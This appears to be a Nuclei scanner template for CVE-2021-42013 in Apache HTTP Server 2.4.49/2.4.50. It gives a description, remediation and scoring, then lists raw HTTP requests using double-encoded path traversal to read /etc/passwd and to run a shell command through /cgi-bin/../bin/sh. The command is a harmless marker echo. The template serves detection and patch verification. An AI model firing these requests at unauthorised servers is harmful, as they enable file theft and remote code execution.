id: CVE-2021-42013

info:
  name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
  author: nvn1729,0xd0ff9,666asd
  severity: critical
  description: |
    A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
  reference:
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42013
    - https://twitter.com/itsecurityco/status/1446136957117943815
  remediation: Upgrade to Apache HTTP Server 2.4.51 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42013
    cwe-id: CWE-22
    epss-score: 0.97546
  metadata:
    max-request: 3
    verified: "true"
  tags: cve,cve2021,lfi,apache,rce,misconfig,traversal,kev

variables:
  cmd: "echo COP-37714-1202-EVC | rev"

http:
  - raw:
      - |+
        GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |+
        GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |+
        POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        echo Content-Type: text/plain; echo; {{cmd}}

    stop-at-first-match: true
    unsafe: true
    matchers-condition: or
    matchers:
      - type: regex
        name: LFI
        regex:
          - "root:.*:0:0:"

      - type: word
        name: RCE
        words:
          - "CVE-2021-42013"

# Enhanced by mp on 2022/04/22